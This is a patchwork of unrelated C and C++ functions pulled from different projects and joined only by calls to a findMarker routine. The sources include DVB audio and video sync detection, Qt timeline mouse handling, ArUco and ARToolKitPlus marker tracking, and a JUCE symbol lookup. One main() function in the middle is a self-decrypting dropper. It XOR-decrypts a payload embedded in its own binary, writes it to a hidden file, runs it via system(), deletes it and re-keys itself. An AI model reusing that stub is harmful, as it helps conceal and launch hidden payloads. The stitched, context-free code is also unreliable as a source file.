/* --------------------------------------------------------------------- */ void dvb_analyze_video(dvb_player_t *dvbp, const uint8_t *data, int len, int flag) { unsigned char const *x; unsigned char z,pt; int l,pos=0; if (flag) { while(1) { x=findMarker(data,len,pos, &pt); if (!x) return; l=data+len-x; z=x[3]; if (z==0x00) { if (dvbp->tmp_vcomp<0) printf("############################## VIDEO SYNC MPEG2\n"); dvbp->tmp_vcomp=VIDEO_CAP_MPEG2; return; } if ((z==0x67 || z==0x09)&&dvbp->vcomp!=VIDEO_CAP_MPEG2) { if (dvbp->tmp_vcomp<0) printf("############################## SYNC H.264\n"); dvbp->tmp_vcomp=VIDEO_CAP_H264; return; } pos=x-data+4; } } }
TimelineBar::Marker *TimelineBar::findMarker(QVector<Marker> &markers, QRectF markerRect, QPointF pos) { QFontMetrics fm(Formatter::PreferredFont()); for(Marker &m : markers) { QRectF r = markerRect; r.setLeft(qMax(m_markerRect.left() + borderWidth * 2, offsetOf(m.eidStart))); r.setRight(qMin(m_markerRect.right() - borderWidth, offsetOf(m.eidEnd + 1))); r.setHeight(fm.height() + borderWidth * 2); if(r.width() <= borderWidth * 2) continue; if(r.contains(pos)) { return &m; } if(!m.children.isEmpty() && m.expanded) { QRectF childRect = r; childRect.setTop(r.bottom() + borderWidth * 2); childRect.setBottom(markerRect.bottom()); Marker *res = findMarker(m.children, childRect, pos); if(res) return res; } } return NULL; }
void ofxAruco::findMarkers(ofPixels & pixels){ cv::Mat mat = ofxCv::toCv(pixels); detector.detect(mat,backMarkers,camParams,markerSize); vector<vector<TrackedMarker>::iterator > toDelete; vector<aruco::Marker > toAdd; for(size_t i=0;i<prevMarkers.size();i++){ if(prevMarkers[i].age>maxAge){ toDelete.push_back(prevMarkers.begin()+i); continue; } aruco::Marker * prev = findMarker(prevMarkers[i].marker.idMarker); if(!prev){ prevMarkers[i].age++; toAdd.push_back(prevMarkers[i].marker); }else{ prevMarkers[i].age = 0; } } for(size_t i=0;i<toDelete.size();i++){ prevMarkers.erase(toDelete[i]); } for(size_t i=0;i<backMarkers.size();i++){ TrackedMarker * marker = findTrackedMarker(backMarkers[i].idMarker); if(!marker){ TrackedMarker tracked = {backMarkers[i],0}; prevMarkers.push_back(tracked); }else{ marker->marker = backMarkers[i]; } } for(size_t i=0;i<toAdd.size();i++){ backMarkers.push_back(toAdd[i]); } if(threaded){ lock(); swap(backMarkers,intraMarkers); foundMarkers = true; unlock(); }else{ swap(backMarkers,markers); } }
Expression getSymbolValue (const String& symbol) const { switch (RelativeCoordinate::StandardStrings::getTypeOf (symbol)) { case RelativeCoordinate::StandardStrings::width: return Expression ((double) component.getWidth()); case RelativeCoordinate::StandardStrings::height: return Expression ((double) component.getHeight()); default: break; } MarkerList* list; const MarkerList::Marker* const marker = findMarker (component, symbol, list); if (marker != nullptr) return Expression (marker->position.getExpression().evaluate (*this)); return Expression::Scope::getSymbolValue (symbol); }
/* --------------------------------------------------------------------- */ void dvb_analyze_audio(dvb_player_t *dvbp, const uint8_t *data, int len, int flag) { uint8_t const *x=data,*lx; uint8_t pt,z; int pos=0,l; int fr=0; int start; lx=data; if (flag) { while(1) { x=findMarker(data,len,pos, &pt); if (!x) return; l=data+len-x; z=x[3]; start=0; if (z == 0xbd && (x[7]&0xc0)==0x80) { fr = AUDIO_CAP_AC3; start=1; if (dvbp->tmp_acomp==-1) printf("############################## Detected AC3 Audio\n"); } if ((z&0xf0)==0xc0 && (x[7]&0xc0)==0x80) { fr = AUDIO_CAP_MP2; start=1; if (dvbp->tmp_acomp==-1) printf("############################## Detected MPEG2 Audio\n"); } if (start) { if (fr==dvbp->tmp_acomp1) dvbp->tmp_acomp = fr; dvbp->tmp_acomp1 = fr; } pos=x-data+4; } } }
void TimelineBar::mouseMoveEvent(QMouseEvent *e) { if(e->buttons() == Qt::LeftButton && m_lastPos != QPointF()) { qreal x = e->localPos().x(); if(e->modifiers() & Qt::AltModifier) { qreal delta = x - m_lastPos.x(); m_pan += delta; m_pan = qBound(-m_eidAxisRect.width() * (m_zoom - 1.0), m_pan, 0.0); layout(); } else if(!m_Draws.isEmpty() && m_dataArea.contains(e->localPos()) && !m_highlightingRect.contains(e->localPos())) { uint32_t eid = eventAt(x); if(m_Draws.contains(eid) && eid != m_Ctx.CurEvent()) m_Ctx.SetEventID({}, eid, eid); } } else { viewport()->update(); } m_lastPos = e->localPos(); Marker *marker = findMarker(m_RootMarkers, m_markerRect, m_lastPos); if(marker) setCursor(Qt::PointingHandCursor); else unsetCursor(); }
int main(int argc, char **argv) { char new_path[BUFSIZ]; int arg0_fd, new_fd, exec_fd; struct stat arg0_statbuf; uint8_t *mmap_exec, *marker; MyExecHeader *my_ehdr; const uint8_t nullbuf[XOR_KEYLEN] = {0}; char temp[BUFSIZ] = {0}; char exec_path[BUFSIZ]; off_t exec_off; if (argc < 1) return 1; printf("\n[example]\n" "Start: %p\n" "End..: %p\n" "Size.: %u\n", _exec_payload_start, _exec_payload_end, _exec_payload_size); snprintf(new_path, sizeof new_path, "./.%s", basename(argv[0])); arg0_fd = open(argv[0], O_RDONLY | OPEN_FLAGS, 0); new_fd = open(new_path, O_RDWR | O_CREAT | O_EXCL | OPEN_FLAGS, S_IRWXU | S_IRWXG | S_IRWXO); printf("\n[fd]\n" "arg0.: %d '%s'\n" "new..: %d '%s'\n", arg0_fd, argv[0], new_fd, new_path); if (arg0_fd < 0 || new_fd < 0) { perror("open"); return 1; } if (fstat(arg0_fd, &arg0_statbuf)) { perror("fstat"); return 1; } if (sendfile(new_fd, arg0_fd, NULL, arg0_statbuf.st_size) != arg0_statbuf.st_size) { perror("sendfile"); return 1; } close(arg0_fd); mmap_exec = (uint8_t *) mmap(NULL, arg0_statbuf.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, new_fd, 0); if (!mmap_exec) return 1; printf("\n[exec]\n" "mmap.: %p\n" "size.: %lu\n", mmap_exec, arg0_statbuf.st_size); marker = findMarker(mmap_exec, arg0_statbuf.st_size); if (!marker) return 1; printf("mark.: %p\n", marker); my_ehdr = (MyExecHeader *) marker; if (!memcmp(my_ehdr->xorkey, nullbuf, XOR_KEYLEN)) { xor_genkey(my_ehdr); printf("\nEmpty XOR Key .. Generated: %s\n", shexbuf((uint8_t *) my_ehdr->xorkey, sizeof my_ehdr->xorkey, temp, sizeof temp)); } else { printf("\nXOR Key: %s\nDecrypt payload ..\n", shexbuf((uint8_t *) my_ehdr->xorkey, sizeof my_ehdr->xorkey, temp, sizeof temp)); xor_crypt(my_ehdr); memset(my_ehdr->xorkey, 0, sizeof my_ehdr->xorkey); printf("\nExtracting payload size %u\n", _exec_payload_size); snprintf(exec_path, sizeof exec_path, "%.*s_", (int) sizeof exec_path - 2, new_path); exec_fd = open(exec_path, O_RDWR | O_CREAT | OPEN_FLAGS, S_IRWXU | S_IRWXG | S_IRWXO); if (exec_fd < 0) return 1; exec_off = my_ehdr->payload - mmap_exec; printf("Extracted " SSIZET_FMT "\n", sendfile(exec_fd, new_fd, &exec_off, _exec_payload_size)); close(exec_fd); printf("Exec and Remove %s\n", exec_path); printf("Returned: 0x%X\n", system(exec_path)); unlink(exec_path); } xor_crypt(my_ehdr); munmap(mmap_exec, arg0_statbuf.st_size); close(new_fd); if (rename(new_path, argv[0])) { perror("rename"); return 1; } return 0; }
int ARTPlusPatternTransformation(const CKBehaviorContext& BehContext) { CKBehavior* beh = BehContext.Behavior; CKBOOL detected = FALSE; int patternID = -1; int markerId = -1; float buffer[16]; float patternWidth = 8.0f; CK3dEntity* Object = NULL; VxQuaternion quat = VxQuaternion(); VxVector pos = VxVector(); VxVector scale = VxVector(); float gl_para[4][4] = { {1.0f, 0.0f, 0.0f, 0.0f}, {0.0f, 1.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 1.0f, 0.0f}, {0.0f, 0.0f, 0.0f, 1.0f} }; float gl_tmp[4][4] = { {0.0f, 0.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 0.0f, 0.0f} }; float koordSys[4][4] = { {1.0f, 0.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 1.0f, 0.0f}, {0.0f, 1.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 0.0f, 1.0f} }; float koordSys2[4][4] = { {1.0f, 0.0f, 0.0f, 0.0f}, {0.0f, -1.0f, 0.0f, 0.0f}, {0.0f, 0.0f, 1.0f, 0.0f}, {0.0f, 0.0f, 0.0f, 1.0f} }; beh->ActivateInput(0, FALSE); beh->ActivateOutput(0); if(ARTPlusInitialized == true) { // get object Object = CK3dEntity::Cast(beh->GetInputParameterObject(IN_OBJECT)); if(Object==NULL) return CKBR_BEHAVIORERROR; if(markerInfo!=NULL && numMarkers>0) { // Get pattern id beh->GetInputParameterValue(IN_PATTERN_NUMBER, &patternID); // Get pattern width beh->GetInputParameterValue(IN_PATTERN_WIDTH, &patternWidth); // define size of the marker tracker->setPatternWidth(patternWidth); markerId = findMarker(patternID); if( markerId>=0 && markerInfo[markerId].id==patternID) { ARFloat patt_center[2] = {0.0f, 0.0f}; tracker->calcOpenGLMatrixFromMarker(&markerInfo[markerId], patt_center, patternWidth, (float *)buffer); detected = TRUE; for( int j = 0; j < 4; j++ ) { for( int i = 0; i < 4; i++ ) { gl_para[j][i] = buffer[j*4+i]; } } for( int j = 0; j < 4; j++ ) { for( int i = 0; i < 4; i++ ) { gl_tmp[j][i] = 0.0; for(int k=0 ; k<4 ; k++) { gl_tmp[j][i] += koordSys[j][k]*gl_para[k][i]; } } } for( int j = 0; j < 4; j++ ) { for( int i = 0; i < 4; i++ ) { gl_para[j][i] = 0.0; for(int k=0 ; k<4 ; k++) { gl_para[j][i] += gl_tmp[j][k]*koordSys2[k][i]; } } } } } VxMatrix mat = VxMatrix(gl_para); Vx3DDecomposeMatrix(mat, quat, pos, scale); // Set true, if marker is detected beh->SetOutputParameterValue(OUT_DETECTED, &detected, 0); // Set marker id beh->SetOutputParameterValue(OUT_MARKERID, &patternID, 0); // Set Position beh->SetOutputParameterValue(OUT_POSITION, &pos, 0); // Set quaternion beh->SetOutputParameterValue(OUT_QUATERNION, &quat, 0); // Set matrix beh->SetOutputParameterValue(OUT_TRANSFORM_MATRIX, &mat, 0); //Check object visibility if(detected==TRUE) { // Transform object Object->SetPosition(&pos, NULL, FALSE); Object->SetQuaternion(&quat, NULL, FALSE, FALSE); Object->Show(CKSHOW); } else { Object->Show(CKHIERARCHICALHIDE); } } return CKBR_OK; }
void TimelineBar::mousePressEvent(QMouseEvent *e) { m_lastPos = e->localPos(); qreal x = e->localPos().x(); if((e->modifiers() & Qt::AltModifier) == 0) { Marker *marker = findMarker(m_RootMarkers, m_markerRect, m_lastPos); if(marker) { marker->expanded = !marker->expanded; m_lastPos = QPointF(); viewport()->update(); return; } if(m_highlightingRect.contains(m_lastPos)) { uint32_t eid = eventAt(x); m_lastPos = QPointF(); // history events get first crack at any selection, if they exist if(!m_HistoryEvents.isEmpty()) { PixelModification search = {eid}; auto it = std::lower_bound(m_HistoryEvents.begin(), m_HistoryEvents.end(), search); if(it != m_HistoryEvents.end()) { // lower_bound will have returned the next highest hit. Check if there is one below, and // if it's closer. if(it != m_HistoryEvents.begin() && (eid - (it - 1)->eventId) < (it->eventId - eid)) it--; m_Ctx.SetEventID({}, it->eventId, it->eventId); } return; } if(!m_UsageEvents.isEmpty()) { EventUsage search(eid, ResourceUsage::Unused); auto it = std::lower_bound(m_UsageEvents.begin(), m_UsageEvents.end(), search); if(it != m_UsageEvents.end()) { // lower_bound will have returned the next highest hit. Check if there is one below, and // if it's closer. if(it != m_UsageEvents.begin() && (eid - (it - 1)->eventId) < (it->eventId - eid)) it--; m_Ctx.SetEventID({}, it->eventId, it->eventId); } } return; } if(!m_Draws.isEmpty() && m_dataArea.contains(m_lastPos)) { uint32_t eid = eventAt(x); auto it = std::find_if(m_Draws.begin(), m_Draws.end(), [this, eid](uint32_t d) { if(d >= eid) return true; return false; }); if(it == m_Draws.end()) m_Ctx.SetEventID({}, m_Draws.back(), m_Draws.back()); else m_Ctx.SetEventID({}, *it, *it); } } }